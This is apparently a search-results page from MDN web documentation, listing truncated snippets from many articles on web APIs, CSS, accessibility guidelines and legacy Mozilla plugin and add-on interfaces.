...sured that these functions will be called - so implement them, even with empty function. from nsitreeview: getcellproperties(row, col, props): optionally modify the props array getrowproperties(row, props): optionally modify the props array getimagesrc(row, col): return a string (or null) getcelltext(row, col): return a string representing the actual text to display in the column from nsimsgcustomcolumnhandler: getsortstringforrow(hdr): return the string value that the column will be sorted by getsortlongforrow(hdr): return the long value that the column will be sorted by isstring(): return true / false warning! do not get confused between getcelltext() and getsortstring/longforrow()! though they sound similar you may not want to return the same value from both. getcelltext()...
...And 4 more matches
Using COM from js-ctypes
this started out with dynamic data exchange (dde), which was superseded by object linking and embedding (ole) and later by the component object model (com), automation objects, activex controls, and the .net framework. com is c++ and it cannot be written directly with js-ctypes. ...
... $ cl ole32.lib test.cpp vtable needs vtable description here. the order of the vtable is very critical. when used from c or js-ctypes, the order of the vtable m...
... $ cl ole32.lib test.c c code with pseudo struct needs pseudo struct description here. #include <sapi.h> struct myispvoicevtbl; struct myispvoice { struct myispvoicevtbl* lpvtbl; ...
...And 4 more matches
Drawing and Event Handling - Plugins
log boxes, npp_print is called with printinfo->mode equal to np_full. on mac os, full-page printing requires that the field printinfo contain a standard mac os thprint (see printing.h). of course, npp_print is also called with printinfo->mode equal to np_embed when the instance is embedded. in this case, platformprint->embedprint.window contains the window in which the plug-in should print. on ms windows, note that the coordinates for the window rectangle are in twips format. for this reason, you need to convert the x - and y - coordinates using the windows api call dptolp when you output text. setting the window the browser calls the npp_setwindow function to set the window in which a plug-in draws or returns an error code. this window is valid for the life of the instance, or until np...
...phics operations on the window and should free any associated resources. nperror npp_setwindow(npp instance, npwindow *window); the instance parameter represents the current plug-in. the window parameter is a pointer to the drawing target for the plug-in. for windowless plug-ins, the platform-specific window information specified in window->window is a platform-specific handle to a drawable. ms windows and unix for windowed plug-ins on ms windows and unix, the window->window field is a handle to a subwindow of the netscape window hierarchy. mac os the window->window field points to an np_port structure. getting information to receive information from the browser, the plug-in calls the npn_getvalue method. nperror npn_getvalue(npp instance, npnvariable variable, void *value); the...
...x, the window->window field is a handle to a subwindow of the netscape window hierarchy. mac os the window->window field points to an np_port structure. getting information to receive information from the browser, the plug-in calls the npn_getvalue method. nperror npn_getvalue(npp instance, npnvariable variable, void *value); the instance parameter represents the current plug-in. unix and ms windows the queried information is returned in the variable parameter. this parameter is valid only for the unix and ms windows platforms. for unix, the values are either the current display (npnvxdisplay) or the application's context (npnvxtappcontext). for ms windows, the value is the native window on which the plug-in drawing occurs (npnvnetscapewindow). the value parameter contains the name...
...And 4 more matches
BluetoothRemoteGATTDescriptor - Web APIs
ft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. desktopmobilechromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossamsung internetbluetoothremotegattdescriptor experimentalchrome full support 57notes full support 57notes notes macos only. full support 57notes disabled notes linux and versions of windows earlier than 10.disabled from version 57: this feature is behind the #enable-...
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabl...
... full support 57notes disabled notes linux and versions of windows earlier than 10.disabled fr...
...And 4 more matches
DOMParser - Web APIs
Web › API › DOMParser
...
...re the following: mimetype doc.constructor text/html document text/xml xmldocument application/xml xmldocument application/xhtml+xml xmldocument image/svg+xml xmldocument examples parsing xml once you have created a parser object, you can parse xml from a string using the parsefromstring() method: let parser = new domparser() let doc = parser.parsefromstring(stringcontainingxmlsource, "application/xml") error handling note that if the parsing process fails, the domparser does not throw an exception, but instead returns an error document: <parsererror xmlns="http://www.mozilla.org/newlayout/xml/parsererror.xml"> (error description) <sourcetext>(a snippet of the sourc...
...ml document (firefox 12.0 / thunderbird 12.0 / seamonkey 2.9). there are three different results possible, selected by the mime type given. ...
...And 4 more matches
Introduction to the DOM - Web APIs
he objects that comprise the structure and content of a document on the web. in this guide, we'll briefly introduce the dom. we'll look at how the dom represents an html or xml document in memory and how you use apis to create web content and applications. what is the dom? the document object model (dom) is a programming interface for html and xml documents. it represents the page so that programs can change the document structure, style, and content. the dom represents the document as nodes and objects. that way, programming languages can connect to the page. a web page is a document. this document can be either displayed in the browser window or as the html source. but it is the same document in both cases. the document object model (dom) represents that same document so it can be manip...
...ocument so it can be manipulated. the dom is an object-oriented representation of the web page, which can be modified with a scripting language such as javascript. the w3c dom and whatwg dom standards are implemented in most modern browsers. many browsers extend the standard, so care must be exercised when using them on the web where documents may be accessed by various browsers with different doms. for example, the standard dom specifies that the getelementsbytagname method in the code below must return a list of all the <p> elements in the document: const paragraphs = document.getelementsbytagname("p"); // paragraphs[0] is the first <p> element // paragraphs[1] is the second <p> element, etc. alert(paragraphs[0].nodename); all of the properties, methods, and events available for manip...
... otherwise empty html page const heading = document.createelement("h1"); const heading_text = document.createtextnode("big head!"); heading.appendchild(heading_text); document.body.appendchild(heading); } </script> </head> <body> </body> </html> fundamental data types this reference tries to describe the various objects and types in simple terms. but there are a number of different data types being passed around the api that you should be aware of. note: because the vast majority of code that uses the dom revolves around manipulating html documents, it's common to refer to the nodes in the dom as elements, although strictly speaking not every node is an element. the following table briefly describes these data types. data t...
...And 4 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
what is whitespace? whitespace is any string of text composed only of spaces, tabs or line breaks (to be precise, crlf sequences, carriage returns or line feeds). these characters allow you to format your code in a way that will make it easily readable by yourself and other people. in fact, much of our source code is full of these whitespace characters, and we only tend to get rid of it in a production build step to reduce code download sizes. ...
.... take the following document, for example: <!doctype html> <html> <head> <title>my document</title> </head> <body> <h1>header</h1> <p> paragraph </p> </body> </html> the dom tree for this looks like so: conserving whitespace characters in the dom is useful in many ways, but there are certain places where this makes certain layouts more difficult to implement, and causes problems for developers who want to iterate through nodes in the dom. we'll look at these, and some solutions, later on. how does css process whitespace? most whitespace characters are ignored, not all of them are. in the earlier example one of the spaces between "hello" and "world!" still exists when the page is rendered in a browser. there are rules in the browser engine that decide which whitespace c...
...the extra whitespace that does make it to the layout is helpful to separate the words in the sentence. it gets more interesting however when you start using inline-block elements. these elements behave like inline elements on the outside, and blocks on the inside, and are often used to display more complex pieces of ui than just text, side-by-side on the same line, for example navigation menu items. because they are blocks, many people expect that they will behave as such, but really they don’t. if there is formatting whitespace between adjacent inline elements, this will result in space in the layout, just like the spaces between words in text. consider this example (again, the whitespace characters in the html are marked so they are visible): .people-list { list-style-type: none; ...
...And 4 more matches
HTMLElement - Web APIs
fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, element, and implements those from documentandelementeventhandlers, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement and toucheventhandlers. htmlelement.accesskey is a domstring representing the access key assigned to the element. htmlelement.accesskeylabel read only returns a domstring containing the element's assigned access key. htmlelement.contenteditable is a domstring, where a value of true means the element is editable and a value of false means it isn't. htmlelement.iscontenteditable read only returns a boolean that indicates whether or not the conte...
...re a value of true means the element is editable and a value of false means it isn't. htmlelement.iscontenteditable read only returns a boolean that indicates whether or not the content of the element can be edited. htmlelement.contextmenu is a htmlmenuelement representing the contextual menu associated with the element. it may be null. ...
... only returns a boolean that indicates whether or not the content of the element can be edited. htmlelement.contextmenu is a htmlmenuelement representing the contextual menu associated with the element. it may be null. htmlorforeignelement.dataset read only returns a domstringmap with which script can read and write the element's custom data attributes (data-*) . htmlelement.dir is a domstring, reflecting the dir global attribute, representing the directionality of the element. possible values are "ltr", "rtl", and "auto". htmlelement.draggable is a boolean indicating if the element can be dragged. htmlelement.dropzone read only returns a domsettabletokenlist reflecting the dropzone global attribute and describing the behavior of the element regarding a drop operation. htmle...
...And 4 more matches
HTMLImageElement.alt - Web APIs
gs for your images, imagine what you would say when reading the page to someone over the phone without mentioning that there's an image on the page. the alternate text is displayed in the space the image would occupy and should be able to take the place of the image without altering the meaning of the page. syntax htmlimageelement.alt = alttext; let alttext = htmlimageelement.alt; value a domstring which contains the alternate text to display when the image is not loaded or for use by assistive devices. the alt attribute is officially mandatory; it's meant to always be specified. if the image doesn't require a fallback (such as for an image which is simply decorative or an advisory icon of minimal importance), you may specify an empty string (""). for compatibility reasons, browsers g...
... body { margin: 0; padding: 0; } p { margin-block-start: 0; margin-block-end: 1em; margin-top: 0; margin-bottom: 1em; } .container { width: 100vh; height: 95vh; font: 16px arial,helvetica,sans-serif; } .left-margin { background-color: rgb(241, 240, 237, 255); width: 9em; height: 100%; float: left; margin-right: 5px; padding-right: 1em; display: flex; align-items: center; justify-content: center; } .left-margin img { width: 6em; } .contents { background-color: rgb(241, 240, 235, 255); height: 100%; margin-left: 2em; padding-top: 1em; padding-left: 2em; padding-right: 1em; } result images used as buttons when using an image as a button (by using it as the only visible child of an <a> element representing a hyperlink), the alt attrib...
...on to serve the same purpose. for example, in the snippet of html below, a toolbar which uses icon images as link labels provides alt attributes for each giving a textual label to use instead of the icon when the icons cannot be or are intentionally not used. ...
...And 4 more matches
HTML Drag and Drop API - Web APIs
e into the browser from the os. interfaces the html drag and drop interfaces are dragevent, datatransfer, datatransferitem and datatransferitemlist. the dragevent interface has a constructor and one datatransfer property, which is a datatransfer object. datatransfer objects include the drag event's state, such as the type of drag being done (like copy or move), the drag's data (one or more items), and the mime type of each drag item. datatransfer objects also have methods to add or remove items to the drag's data. the dragevent and datatransfer interfaces should be the only ones needed to add html drag and drop capabilities to an application. (firefox supports some gecko-specific extensions to the datatransfer object, but those extensions will only work on firefox.) each datatransfer o...
...a datatransferitem object represents a single drag item, each with a kind property (either string or file) and a type property for the data item's mime type. the datatransferitem object also has methods to get the drag item's data. ...
...ents a single drag item, each with a kind property (either string or file) and a type property for the data item's mime type. the datatransferitem object also has methods to get the drag item's data. the datatransferitemlist object is a list of datatransferitem objects. the list object has methods to add a drag item to the list, remove a drag item from the list, and clear the list of all drag items. a key difference between the datatransfer and datatransferitem interfaces is that the former uses the synchronous getdata() method to access a drag item's data, but the latter instead uses the asynchronous getasstring() method. note: dragevent and datatransfer are broadly supported on desktop browsers. however, the datatransferitem and datatransferitemlist interfaces have limited browser suppo...
...And 4 more matches
Intersection Observer API - Web APIs
whether or not to perform tasks or animation processes based on whether or not the user will see the result. implementing intersection detection in the past involved event handlers and loops calling methods like element.getboundingclientrect() to build up the needed information for every element affected. since all this code runs on the main thread, even one of these can cause performance problems. when a site is loaded with these tests, things can get downright ugly. consider a web page that uses infinite scrolling. it uses a vendor-provided library to manage the advertisements placed periodically throughout the page, has animated graphics here and there, and uses a custom library that draws notification boxes and the like. each of these has its own intersection detection routines, all r...
....queryselector('#scrollarea'), rootmargin: '0px', threshold: 1.0 } let observer = new intersectionobserver(callback, options); a threshold of 1.0 means that when 100% of the target is visible within the element specified by the root option, the callback is invoked. intersection observer options the options object passed into the intersectionobserver() constructor let you control the circumstances under which the observer's callback is invoked. it has the following fields: root the element that is used as the viewport for checking visibility of the target. must be the ancestor of the target. defaults to the browser viewport if not specified or if null. rootmargin margin around the root. can have values similar to the css margin property, e.g. "10px 20px 30px 40px" (top, right, ...
... the element and establishes that the background-color and border attributes can participate in css transitions, which we'll use to affect the changes to the element as it becomes more or less obscured. #box { background-color: rgba(40, 40, 190, 255); border: 4px solid rgb(20, 20, 120); transition: background-color 1s, border 1s; width: 350px; height: 350px; display: flex; align-items: center; justify-content: center; padding: 20px; } .vertical { color: white; font: 32px "arial"; } .extra { width: 350px; height: 350px; margin-top: 10px; border: 4px solid rgb(20, 20, 120); text-align: center; padding: 20px; } javascript finally, let's take a look at the javascript code that uses the intersection observer api to make things happen. setting up first, we ...
...And 4 more matches
MediaDevices - Web APIs
om its parent interface, eventtarget. enumeratedevices() obtains an array of information about the media input and output devices available on the system. getsupportedconstraints() returns an object conforming to mediatracksupportedconstraints indicating which constrainable properties are supported on the mediastreamtrack interface. see capabilities and constraints in media capture and streams api (media stream) to learn more about constraints and how to use them. getdisplaymedia() prompts the user to select a display or portion of a display (such as a window) to capture as a mediastream for sharing or recording purposes. returns a promise that resolves to a mediastream. getusermedia() with the user's permission through a prompt, turns on a camera and/or a microphone on the system ...
...a and/or a microphone on the system and provides a mediastream containing a video track and/or an audio track with the input. example 'use strict'; // put variables in global scope to make them available to the browser console. ...
...otracks(); console.log('got stream with constraints:', constraints); console.log('using video device: ' + videotracks[0].label); stream.onremovetrack = function() { console.log('stream ended'); }; window.stream = stream; // make variable available to browser console video.srcobject = stream; }) .catch(function(error) { if (error.name === 'constraintnotsatisfiederror') { errormsg('the resolution ' + constraints.video.width.exact + 'x' + constraints.video.height.exact + ' px is not supported by your device.'); } else if (error.name === 'permissiondeniederror') { errormsg('permissions have not been granted to use your camera and ' + 'microphone, you need to allow the page access to your devices in ' + 'order for the demo to work.'); } errormsg...
...And 4 more matches
MediaMetadata - Web APIs
t initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... full support yessafari ? webview android no support nochrome android full support 57firefox android ? opera android no support nosafari ios ? ...
... full support yessafari ? webview android no support nochrome android full support 57firefox android ? opera android no support nosafari ios ? ...
...And 4 more matches
ScreenOrientation - Web APIs
ft initial definition. browser compatibility the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0anglechrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0lockchrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
...And 4 more matches
Screen Orientation API - Web APIs
ition. browser compatibility screenorientation the compatibility table on this page is generated from structured data. if you'd like to contribute to the data, please check out https://github.com/mdn/browser-compat-data and send us a pull request. ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0anglechrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
... nowebview android full support 38chrome android full support 38firefox android full support 43opera android full support 25safari ios no support nosamsung internet android full support 3.0lockchrome full support 38edge full support 79firefox full support 43ie no support noopera full support ...
...And 4 more matches
SubtleCrypto.unwrapKey() - Web APIs
format. jwk: json web key format. wrappedkey is an arraybuffer containing the wrapped key in the given format. unwrappingkey is the cryptokey to use to decrypt the wrapped key. the key must have the unwrapkey usage set. unwrapalgo is an object specifying the algorithm to be used to encrypt the exported key, and any extra parameters as required: to use rsa-oaep, pass an rsaoaepparams object. to use aes-ctr, pass an aesctrparams object. to use aes-cbc, pass an aescbcparams object. to use aes-gcm, pass an aesgcmparams object. to use aes-kw, pass the string "aes-kw" or an object of the form { "name": "aes-kw }. unwrappedkeyalgo is a dictionary object defining the type of key to unwrap and providing extra algorithm-specific parameters as required. for rsas...
... for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass the string identifying the algorithm or an object of the form { "name": algorithm }, where algorithm is the name of the algorithm. ...
... for aes-ctr, aes-cbc, aes-gcm, or aes-kw: pass the string identifying the algorithm or an object of the form { "name": algorithm }, where algorithm is the name of the algorithm. ...
...And 4 more matches
Using DTMF with WebRTC - Web APIs
instead, they're sent out-of-band, as rtp payloads. note, however, that although it's possible to send dtmf using webrtc, there is currently no way to detect or receive incoming dtmf. webrtc currently ignores these payloads; this is because webrtc's dtmf support is primarily intended for use with legacy telephone services that rely on dtmf tones to perform tasks such as: teleconferencing systems menu systems voicemail systems entry of credit card or other payment information passcode entry note: while the dtmf is not sent to the remote peer as audio, browsers may choose to play the corresponding tone to the local user as part of their user experience, since users are typically used to hearing their phone play the tones audibly. sending dtmf on an rtcpeerconnection a given rtcpe...
...ion. when a tone finishes playing each time a dtmf tone finishes playing, a tonechange event is delivered to callerpc. the event listener for these is implemented as the handletonechangeevent() function. function handletonechangeevent(event) { if (event.tone !== "") { log("tone played: " + event.tone); } else { log("all tones have played. ...
...s implemented as the handletonechangeevent() function. function handletonechangeevent(event) { if (event.tone !== "") { log("tone played: " + event.tone); } else { log("all tones have played. disconnecting."); callerpc.getlocalstreams().foreach(function(stream) { stream.gettracks().foreach(function(track) { track.stop(); }); }); receiverpc.getlocalstreams().foreach(function(stream) { stream.gettracks().foreach(function(track) { track.stop(); }); }); audio.pause(); audio.srcobject = null; receiverpc.close(); callerpc.close(); } } the tonechange event is used both to indicate when an individual tone has played and when all tones have finished playing. the event's tone property is a string indicating which...
...And 4 more matches
Rendering and the WebXR frame animation callback - Web APIs
s due to early displays using the ac electrical grid's current flow waveform, which cycles 60 times per second in the united states (50 in europe), for timing purposes. this figure goes by a number of different names, but they're all equivalent or nearly so: refresh rate vertical refresh rate vertical blanking rate (vbl) vertical sync rate vertical refresh rate there are other similar terms used as well, but regardless of what it's called, the unit of measurement applied is the hertz, or hz. a display that refreshes 60 times per second has a 60 hz refresh rate. that means that the maximum number of frames it can display in a second is 60. no matter how many frames per second you render beyond that, only 60 of them will make it to the screen in the course of a second. but not all di...
...renderer in this version of the webxr renderering callback, we use a very straightforward approach that works great for relatively simple projects. this pseudocode outlines that process: for each view in the pose's views list: get the webxr gl layer's viewport set the webgl viewport to match for each object in the scene bindprogram() bindvertices() bindmatrices() binduniforms() bindbuffers() bindtextures() drawmyobject() put simply, this form of renderer is using view-first order. each of the two views making up the xr device's display are rendered back to back, where every object is drawn on one view before rendering the same set of objects on the other view. as a result, there's a good bit of replicated effort, since much of the data needed to draw an ...
...antially improve rendering performance by rearranging the order in which things are done. ...
...And 4 more matches
Using IIR filters - Web APIs
ce of the two biquad filter nodes you would otherwise need for this. with the iirfilter node it's up to you to set what feedforward and feedback values the filter needs — this determines the characteristics of the filter. the downside is that this involves some complex maths. if you are looking to learn more there's some information about the maths behind iir filters here. this enters the realms of signal processing theory — don't worry if you look at it and feel like it's not for you. if you want to play with the iir filter node and need some values to help along the way, there's a table of already calculated values here; on pages 4 & 5 of the linked pdf the an values refer to the feedforward values and the bn values refer to the feedback. musicdsp.org is also a great resource if you...
...s and how they are implemented digitally. with that all in mind, let's take a look at the code to create an iir filter with the web audio api. setting our iirfilter co-efficients when creating an iir filter, we pass in the feedforward and feedback coefficients as options (coefficients is how we describe the values). both of these parameters are arrays, neither of which can be larger than 20 items. when setting our coefficients, the feedforward values can't all be set to zero, otherwise nothing would be sent to the filter. something like this is acceptable: let feedforward = [0.00020298, 0.0004059599, 0.00020298]; our feedback values cannot start with zero, otherwise on the first pass nothing would be sent back: let feedbackward = [1.0126964558, -1.9991880801, 0.9873035442]; note: ...
... frequency plot of the filter we've created with the data we get back from this method. we need to create three arrays. one of frequency values for which we want to receive the magnitude response and phase response for, and two empty arrays to receive the data. all three of these have to be of type float32array and all be of the same size. ...
...And 4 more matches
Web audio spatialization basics - Web APIs
w you to emulate the difference in sound as a listener moves around a sound source, for example panning as you move around a sound source inside a 3d game. the official term for this is spatialization, and this article will cover the basics of how to implement such a system. basics of spatialization in web audio, complex 3d spatializations are created using the pannernode, which in layman's terms is basically a whole lotta cool maths to make audio appear in 3d space. think sounds flying over you, creeping up behind you, moving across in front of you. that sort of thing. it's really useful for webxr and gaming. in 3d spaces, it's the only way to achieve realistic audio. libraries like three.js and a-frame harness its potential when dealing with sound. it's worth noting that you don't have...
...and the outer cone is where the gain starts to drop away. the gain is reduced by the value of the coneoutergain value. let's create constants that store the values we'll use for these parameters later on: const innercone = 60; const outercone = 90; const outergain = 0.3; the next parameter is distancemodel — this can only be set to linear, inverse, or exponential. these are different algorithms, which are used to reduce the volume of the audio source as it moves away from the listener. we'll use linear, as it is simple: const distancemodel = 'linear'; we can set a maximum distance (maxdistance) between the source and the listener — the volume will not be reduced anymore if the source moves further away from this point. this can be useful, as you may find you want to emulate distanc...
... coming from the boombox speaker at the front, so when we rotate it, we can alter the sound's direction — i.e. make it project to the back when the boombox is rotated 180 degrees and facing away from us. we need to set up a few things for the interface. ...
...And 4 more matches
Using the Web Storage API - Web APIs
this article provides a walkthrough of how to make use of this technology. basic concepts storage objects are simple key-value stores, similar to objects, but they stay intact through page loads. the keys and the values are always strings (note that, as with objects, integer keys will be automatically converted to strings). you can access these values like an object, or with the storage.getitem() and storage.setitem() methods. ...
...titem() methods. these three lines all set the (same) colorsetting entry: localstorage.colorsetting = '#a4509b'; localstorage['colorsetting'] = '#a4509b'; localstorage.setitem('colorsetting', '#a4509b'); note: it's recommended to use the web storage api (setitem, getitem, removeitem, key, length) to prevent the pitfalls associated with using plain objects as key-value stores. ...
...plain objects as key-value stores. the two mechanisms within web storage are as follows: sessionstorage maintains a separate storage area for each given origin that's available for the duration of the page session (as long as the browser is open, including page reloads and restores). localstorage does the same thing, but persists even when the browser is closed and reopened. ...
...And 4 more matches
Worker.prototype.postMessage() - Web APIs
gle object at once. as seen above, if you want to pass multiple values you can send an array. transfer example this example shows a firefox add-on that transfers an arraybuffer from the main thread to the chromeworker, and then the chromeworker transfers it back to the main thread. ...
... multiple values you can send an array. transfer example this example shows a firefox add-on that transfers an arraybuffer from the main thread to the chromeworker, and then the chromeworker transfers it back to the main thread. ...
...le values you can send an array. transfer example this example shows a firefox add-on that transfers an arraybuffer from the main thread to the chromeworker, and then the chromeworker transfers it back to the main thread. ...
...And 4 more matches
Operable - Accessibility
operable states that user interface components and navigation must be operable. note: to read the w3c definitions for operable and its guidelines and success criteria, see principle 2: operable — user interface components and navigation must be operable. guideline 2.1 — keyboard accessible: make all functionality available from a keyboard this guideline covers the necessity of making core website functionality available via a keyboard in addition to other means (e.g. ...
... note: also see the wcag description for guideline 2.3 seizures and physical reactions: do not design content in a way that is known to cause seizures or physical reactions. guideline 2.4 — navigable: provide ways to help users navigate, find content, and determine where they are the conformance criteria under this guideline relate to ways in which users can be expected to orientate themselves, and find the content and functionality they are looking for on the current page or other pages of the site. success criteria how to conform to the criteria practical resource 2.4.1 bypass blocks (a) a mechanism should be provided that allows the user to skip straight to the main content or functionality available on the page, past the repeated features (...
... link can be determined from the link text, or from its surroundings (e.g. the surrounding text). exceptions are where the link purpose is ambiguous to all users (see ambiguous to users in general for a useful explanation of this). see meaningful text labels. also note that you should minimize instances where multiple copies of the same text are linked to different places. ...
...And 4 more matches
Understandable - Accessibility
understandable states that information and the operation of user interface must be understandable. note: to read the w3c definitions for understandable and its guidelines and success criteria, see principle 3: understandable — information and the operation of user interface must be understandable. guideline 3.1 — readable: make text content readable and understandable this guideline focuses on making text content as understandable as possible. ...
...e includes words or phrases that are in a different language to the primary language, use the lang attribute on an element wrapped around the term in question (e.g. a <span> if no semantic element is available) to set an appropriate language for it. ...
...n an element wrapped around the term in question (e.g. a <span> if no semantic element is available) to set an appropriate language for it. you don't need to set a different language for words or phrases that are the same regardless of language (for example proper names, technical terms that aren't part of a specific language). 3.1.3 unusual words (aaa) where technical terms, jargon, or idioms/slang are used, definitions should be provided for such phrases/words. your site should provide a glossary that contains definitions of such words/terms that you can then link to when they appear, or at the very least provide definitions somewhere in the surrounding text, or in a description list at the bottom of the page. 3.1.4 abbreviations (aaa) where ab...
...And 4 more matches
Box-shadow generator - CSS: Cascading Style Sheets
t" data-name="element" data-prop="width height background-color position=[relative] box-shadow"> </div> <div class="output" data-topic="before" data-name="element:before" data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"> </div> <div class="output" data-topic="after" data-name="element:after" data-prop="content=[&quot;&quot;] position=[absolute] width height top left z-index background-color box-shadow transform -webkit-transform -ms-transform"> </div> </div> </div> </div> </div> ...
...ut { margin: 0 10px; padding: 0; width: 50px; text-align: center; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* * ui button */ /* checkbox */ .ui-checkbox { text-align: center; font-size: 16px; font-family: "segoe ui", arial, helvetica, sans-serif; line-height: 1.5em; color: #fff; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; user-select: none; } .ui-checkbox > input { display: none; } .ui-checkbox > label { font-size: 12px; padding: 0.333em 1.666em 0.5em; height: 1em; line-height: 1em; background-color: #888; background-image: url("https://mdn.mozillademos.org/files/5683/disabled.png"); background-position: center center; background-repeat: no-repeat; color: #fff; border-radius: 3p...
...age: url("https://mdn.mozillademos.org/files/5681/checked.png"); background-color: #379b4a; } /* * box shadow generator tool */ body { max-width: 1000px; height: 800px; margin: 20px auto 0; font-family: "segoe ui", arial, helvetica, sans-serif; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; -moz-user-select: none; -webkit-user-select: none; -ms-user-select: none; } #container { width: 100%; padding: 2px; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } /* container with shadows stacks */ #stack_container { height: 400px; overflow: hidden; position: relative; border: 1px solid #ccc; border-radius: 3px; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-b...
...And 4 more matches
Variable fonts guide - CSS: Cascading Style Sheets
still possible to link them with a common font-family name so you can call them using the same font-family and appropriate font-style. introducing the 'variation axis' the heart of the new variable fonts format is the concept of an axis of variation describing the allowable range of that particular aspect of the typeface design. so the 'weight axis' describes how light or how bold the letterforms can be; the 'width axis' describes how narrow or how wide they can be; the 'italic axis' describes if italic letterforms are present and can be turned on or off accordingly, etc. note that an axis can be a range or a binary choice. weight might range from 1–999, whereas italic might simply be 0 or 1 (off or on). as defined in the specification, there are two kinds of axes: registered and custo...
...nt features using font-feature-settings). you can work around this limitation by using css custom properties (css variables) for the individual values, and simply modifying the value of an individual custom property. example code follows at the end of the guide. weight weight (represented by the wght tag) defines the design axis of how thin or thick (light or heavy, in typical typographic terms) the strokes of the letterforms can be. for a long time in css there has existed the ability to specify this via the font-weight property, which takes numeric values ranging from 100 to 900 in increments of 100, and keywords like normal or bold, which are simply aliases for their corresponding numeric values (400 and 700 in this case). these are still applied when dealing with non-variable or var...
... other keyword). this can generally be resolved fairly easily, but does require an extra step in writing your css: font-weight: 375; font-variation-settings: 'wght' 375; the following live example's css can be edited to allow you to play with font weight values. width width (represented by the wdth tag) defines the design axis of how narrow or wide (condensed or extended, in typographic terms) the letterforms can be. this is typically set in css using the font-stretch property, with values expressed as a percentage above or below ‘normal’ (100%), any number greater than 0 is technically valid—though it is far more likely that the range would fall closer to the 100% mark, such as 75%-125%. if a number value supplied is outside the range encoded in the font, the browser should ren...
...And 4 more matches
CSS grids, logical values, and writing modes - CSS: Cascading Style Sheets
be, and the word start infers no physical location. block and inline once we begin dealing with logical, rather than physical properties, we stop seeing the world as left to right, and top to bottom. we need a new reference point, and this is where understanding the block and inline axes, that we met previously in the guide to alignment, becomes very useful. if you can start to see layout in terms of block and inline, the way things work in grid start to make a lot more sense. css writing modes i’m going to introduce another specification here, that i will be using in my examples: the css writing modes specification. this spec details how we can use these different writing modes in css, not just for the support of languages that have a different writing mode to english, but also for ...
...<code>vertical-rl</code></p> </div> writing modes in grid layouts if we now take a look at a grid layout example, we can see how changing the writing mode means changing our idea of where the block and inline axis are. the grid in my next example has three columns and two row tracks. this means there are three tracks running down the block axis. ...
... of where the block and inline axis are. the grid in my next example has three columns and two row tracks. this means there are three tracks running down the block axis. in default writing mode, grid auto-places items starting at the top left, moving along to the right, filling up the three cells on the inline axis. ...
...And 4 more matches
Consistent list indentation - CSS: Cascading Style Sheets
in order to understand why this is the case, and more importantly how to avoid the problem altogether, it's necessary to examine the details of list construction. ...
... in order to understand why this is the case, and more importantly how to avoid the problem altogether, it's necessary to examine the details of list construction. making a list first, we consider a single, pure list item. ...
...irst, we consider a single, pure list item. this list item has no marker (otherwise known as a "bullet") and is not yet part of a list itself. it hangs alone in the void, simple and unadorned, as shown in figure 1. that dotted red border represents outer edges of the content-area of the list item. remember that, at this point, the list item has no padding or borders. if we add two more list items, we get a result like that shown in figure 2. now we wrap these in a parent element; in this case, we'll wrap them in an unordered list (i.e., <ul>). according to the css box model, the list items' boxes must be displayed within the parent element's content area. since that parent has no padding or margins yet, we get the situation shown in figure 3. here, the dotted blue border shows us th...
...And 4 more matches
justify-self - CSS: Cascading Style Sheets
; /* pack item from the right */ /* baseline alignment */ justify-self: baseline; justify-self: first baseline; justify-self: last baseline; /* overflow alignment (for positional alignment only) */ justify-self: safe center; justify-self: unsafe center; /* global values */ justify-self: inherit; justify-self: initial; justify-self: unset; this property can take one of three different forms: basic keywords: one of the keyword values normal, auto, or stretch. baseline alignment: the baseline keyword, plus optionally one of first or last. positional alignment: one of: center, start, end, flex-start, flex-end, self-start, self-end, left, or right. plus optionally safe or unsafe. values auto the value used is the value of the justify-items property of the parent...
...ads to a behavior similar to the one of stretch, except for boxes with an aspect ratio or an intrinsic sizes where it behaves like start. start the item is packed flush to each other toward the start edge of the alignment container in the appropriate axis. end the item is packed flush to each other toward the end edge of the alignment container in the appropriate axis. flex-start for items that are not children of a flex container, this value is treated like start. flex-end for items that are not children of a flex container, this value is treated like end. self-start the item is packed flush to the edge of the alignment container of the start side of the item, in the appropriate axis. self-end the item is packed flush to the edge of the alignment container of the end side of...
...ue is treated like start. flex-end for items that are not children of a flex container, this value is treated like end. self-start the item is packed flush to the edge of the alignment container of the start side of the item, in the appropriate axis. self-end the item is packed flush to the edge of the alignment container of the end side of the item, in the appropriate axis. center the items are packed flush to each other toward the center of the of the alignment container. left the items are packed flush to each other toward the left edge of the alignment container. if the property’s axis is not parallel with the inline axis, this value behaves like start. right the items are packed flush to each other toward the right edge of the alignment container in the appropriate axis. i...
...And 4 more matches
min-width - CSS: Cascading Style Sheets
Web › CSS › min-width
